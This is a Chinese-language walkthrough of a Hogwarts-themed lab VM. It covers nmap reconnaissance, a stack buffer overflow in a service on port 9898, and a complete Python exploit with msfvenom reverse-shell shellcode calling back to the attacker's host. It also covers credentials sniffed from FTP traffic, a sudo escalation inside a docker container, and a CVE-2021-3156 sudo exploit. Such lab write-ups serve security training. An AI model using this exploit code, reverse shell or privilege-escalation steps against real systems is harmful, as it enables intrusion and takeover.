一、信息收集
进行arp-scan -l扫描,获取到靶机ip192.168.91.132
对靶机进行nmap扫描
nmap -sT --min-rate 10000 192.168.91.132
nmap -sT -sV -sC -O -p21,22,80,2222,9898 192.168.91.132
nmap --script=vuln -p21,22,80,2222,9898 192.168.91.132
在21端口中我们发现ftp可以匿名登录
//ftp-anon: Anonymous FTP login allowed (FTP code 230)
打开web界面又是一张图片
根据前两个靶机我们得出经验应该又是要进行目录爆破了
目录爆破后没有拿到可利用信息
匿名登录ftp查看
有一个server_hogwarts,下载下来查看
赋予执行权限,执行后没有反应
ps -aux | grep server
//显示名字包含server的所有进程
ss -pantu | grep server
//用ss查看已经建立的并且名字带有server的连接信息
ss 是 Socket Statistics 的缩写,ss 命令可以用来获取 socket 信息
-p, –processes 显示监听端口的进程(Ubuntu 上需要 sudo)
-a, –all 对 TCP 协议来说,既包含监听的端口,也包含建立的连接
-n, –numeric 不解析服务的名称,如 “22” 端口不会显示成 “ssh”
-t, –tcp 显示 TCP 协议的 sockets
-u, –udp 显示 UDP 协议的 sockets
发现靶机开放的9898端口跟我们执行的这个文件的端口相同,也是9898端口,尝试监听本地9898端口
输入几个字符后
二、漏洞利用
缓冲区溢出
buffer overflow,是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁着中断之际并获取程序乃至系统的控制权。
而缓冲区溢出漏洞最重要的是需要找到缓冲区溢出的位置,这里使用工具edb-debugger来动态测试server_hogwarts进程并找出缓冲区溢出漏洞的溢出位置
工具edb-debugger调试
由于kali本机存在ASLR(Address space layout randomization,地址空间配置随机加载)安全技术,地址空间随机化,会造成内存地址的随机化,导致我们无法确定缓冲区溢出的位置,所以要关闭。
将randomize_va_space中2改为0
安装edb-debugger
apt-get install edb-debugger
//安装
edb
//启动
要调试缓冲区溢出漏洞,就需要准备大量数据,我们通过python来生成500个A
python -c “print(‘A’*500)”
说明存在缓冲区溢出漏洞,位置0x41414141出现了错误
错误信息:
EIP寄存器存储的是下一个指令的内存地址,而ESP寄存器中存储的是具体命令
攻击思路
我们将EIP的内容修改,从而使指令跳转到ESP,从而达到ESP中的命令被执行,所以我们可以将反弹shell写入ESP中
确认存在漏洞后,我们现在需要找到缓冲区溢出的位置
寻找缓冲区溢出位置
上面我们使用500个A来测试它是否存在缓冲区溢出漏洞,而这次寻找溢出位置就需要不同的数据了,如果全是相同的数据,那就无法找到缓冲区溢出的位置
使用msf生成500个随机字符串
msf-pattern_create -l 500
将刚刚的操作重新来一遍,将生成的字符串输入
通过报错提示我们得知0×64413764内存位置有问题,那这个位置很有可能就是想找的溢出位置;
查询这个内存位置在输入区的位置
msf-pattern_offset -l 500 -q 64413764
偏移量为112,所以64413764就是在113个位置
找到偏移位置后,构造反弹shell,要将构造的反弹shell十六进制后放入到ESP中,再让EIP指向ESP,反弹shell被执行
得到位置08049d55
由于机器指令需要反写,转化为16进制
08049d55---->559d0408---->\x55\x9d\x04\x08(需要写入EIP的内容)
使用msf构造反弹shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.91.128 LPORT=6666 -b "\x00" -f python
//LHOST应为kali攻击机的ip
构造的payload为
buf = b""
buf += b"\xda\xd1\xd9\x74\x24\xf4\xba\xee\x18\x0a\xc3\x58"
buf += b"\x29\xc9\xb1\x12\x31\x50\x17\x03\x50\x17\x83\x06"
buf += b"\xe4\xe8\x36\xe7\xce\x1a\x5b\x54\xb2\xb7\xf6\x58"
buf += b"\xbd\xd9\xb7\x3a\x70\x99\x2b\x9b\x3a\xa5\x86\x9b"
buf += b"\x72\xa3\xe1\xf3\x44\xfb\x49\x83\x2d\xfe\x6d\x99"
buf += b"\xa7\x77\x8c\x2d\xd1\xd7\x1e\x1e\xad\xdb\x29\x41"
buf += b"\x1c\x5b\x7b\xe9\xf1\x73\x0f\x81\x65\xa3\xc0\x33"
buf += b"\x1f\x32\xfd\xe1\x8c\xcd\xe3\xb5\x38\x03\x63"
构造exp
由于缓冲区溢出的问题,这并不是我们最终的payload,需要配合python脚本编写
#!/usr/bin/python2
import sys,socket
buf = b""
buf += b"\xda\xd1\xd9\x74\x24\xf4\xba\xee\x18\x0a\xc3\x58"
buf += b"\x29\xc9\xb1\x12\x31\x50\x17\x03\x50\x17\x83\x06"
buf += b"\xe4\xe8\x36\xe7\xce\x1a\x5b\x54\xb2\xb7\xf6\x58"
buf += b"\xbd\xd9\xb7\x3a\x70\x99\x2b\x9b\x3a\xa5\x86\x9b"
buf += b"\x72\xa3\xe1\xf3\x44\xfb\x49\x83\x2d\xfe\x6d\x99"
buf += b"\xa7\x77\x8c\x2d\xd1\xd7\x1e\x1e\xad\xdb\x29\x41"
buf += b"\x1c\x5b\x7b\xe9\xf1\x73\x0f\x81\x65\xa3\xc0\x33"
buf += b"\x1f\x32\xfd\xe1\x8c\xcd\xe3\xb5\x38\x03\x63"
payload='A'*112+'\x55\x9d\x04\x08'+'\x90'*32+buf
try:
s=socket.socket()
s.connect(('192.168.91.132',9898)) //此处是靶机ip的9898端口
s.send((payload))
s.close()
except:
print('wrong')
sys.exit()
将代码放入到shell.py中
chmod 777 shell.py
./shell.py
kali端监听6666端口即可成功反弹
成功拿到shell
三、获得初始权限,拿到shell
在harry的目录下查看到.mycreds.txt中有一串疑似密码的字符串Harryp0tter@Hogwarts123,查看是否可以用来ssh登录
22端口下发现无法进入,前面端口探测到2222端口也是ssh服务,尝试在2222端口连接
成功
通过ip a查看到在一个容器中
sudo -l查看权限发现(ALL)NOPASSWD:ALL
使用sudo -s成功提升到容器的root权限
进入root目录中成功拿到第一个horcrux
horcrux1
hrocrux1.txt:
horcrux_{NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=}
base64解密:horcrux_{6: HaRrY PotTer dEsTrOyed by volDeMorT}
还得到了一个note.txt中的内容:
We have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user.
//我们发现有人试图错误登录我们的ftp服务器。请您分析流量并找出用户。
提示我们到ftp中分析流量
tcpdump流量分析
tcpdump -i eth0 port 21
等待片刻后发现
USER: neville
PASS: bL!Bsg3k
尝试登录ssh,成功
horcrux2
成功拿到horcrux2.txt
horcrux_{NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t}
BASE64解码:horcrux_{7: NaGiNi tHe SnAke deStroYed By NeVille LonGboTTom}
四、系统提权-sudo 提权
使用sudo --version查看sudo版本,发现版本为1.8.27,查找是否有相关漏洞可以利用
查找到CVE-2021-3156(sudo堆缓冲区溢出提权漏洞)exp
exp:https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py
查看是否存在漏洞
查看sudo的path
将SUDO_PATH修改
靶机:nc -lvnp 6666 > 1.py
kali:nc 192.168.91.132 6666 < 1.py -w 1
成功将kali中修改好的1.py文件传入靶机
chmod 777 1.py //给1.py执行权限
./1.py //执行
成功提权
horcrux3
切换到root目录下成功拿到第三个horcrux
总结:
1、首先进行信息收集,对靶机进行nmap扫描,扫描到开放了21,22,80,2222,9898端口,相比起前两个靶机,难度明显增加。
2、打开80端口还是跟前两个靶机一样,只有图片;在扫描到的信息中我们发现21端口ftp服务可以使用匿名服务登录,登录后在里面拿到了一个server_hogwarts文件,下载后发现是一个可执行文件,赋予权限执行后并没有反应。
3、我们查看后台,发现程序一直在运行,且端口号是9898(刚刚在信息收集中已经探测出来了),由于程序一直在运行,但是没有显示结果,我们尝试用nc监听本地9898端口,发现一个可以输入命令的界面,于是想到了输入点常见漏洞-缓冲区溢出。
缓冲区溢出
针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容,从而破坏程序运行、趁着其中断的时候获取程序乃至系统的控制权。
关键:找到缓冲区溢出的位置,使用工具edb-debugger
由于kali存在ASLR(Address space layout randomization,地址空间配置随机加载)安全技术,需要cd到/proc/sys/kernel目录下把randomize_va_space改成0 //关闭防护
通过输入大量数据查看是否存在缓冲区溢出漏洞,再通过输入大量不同的数据来测试缓冲区溢出的位置;使用msf生成payload并放在ESP中(构造的exp需要考虑到缓存溢出的问题),将代码放入在文件中,kali进行监听,靶机执行文件,成功拿到普通权限。
4、在普通权限下发现一个隐藏文件.mycreds.txt,发现一串类似密码的字符串,使用ssh尝试登录,但是经尝试后,常用的22端口并不能连接成功,想到之前探测的端口还开放了2222端口,尝试通过2222端口进行ssh连接,成功登录。
5、登录后发现这台机器存在于docker容器中,使用sudo -l发现该用户执行任何命令都不需要账号密码,直接通过sudo -s提升至容器的root权限;在root目录下成功拿到第一个horcrux和一个note文件,提示我们去分析ftp服务上的流量。
流量分析工具-tcpdump
通过tcpdump流量分析工具来监听21端口,tcpdump -i eth0 port 21,成功分析到一组账号密码,再次尝试使用ssh连接,这次使用22端口即可连接成功,由此可以看出22端口是通往靶机的,2222端口是通往docker容器的。成功跳出容器,在home目录的neville目录下拿到第二个horcrux。
6、由于使用常规方法没有提权的思路,查看sudo --version版本,搜集后发现该版本有相关漏洞(CVE-2021-3156)并且有poc可以利用,我们在GitHub上找到相关代码后,在kali端创建一个文件,将代码复制进去后将sudo的path路径修改成与靶机上sudo路径相同后,使用nc传入到靶机中,靶机赋予权限后,执行文件,成功提权,拿到第三个horcrux,本台靶机结束。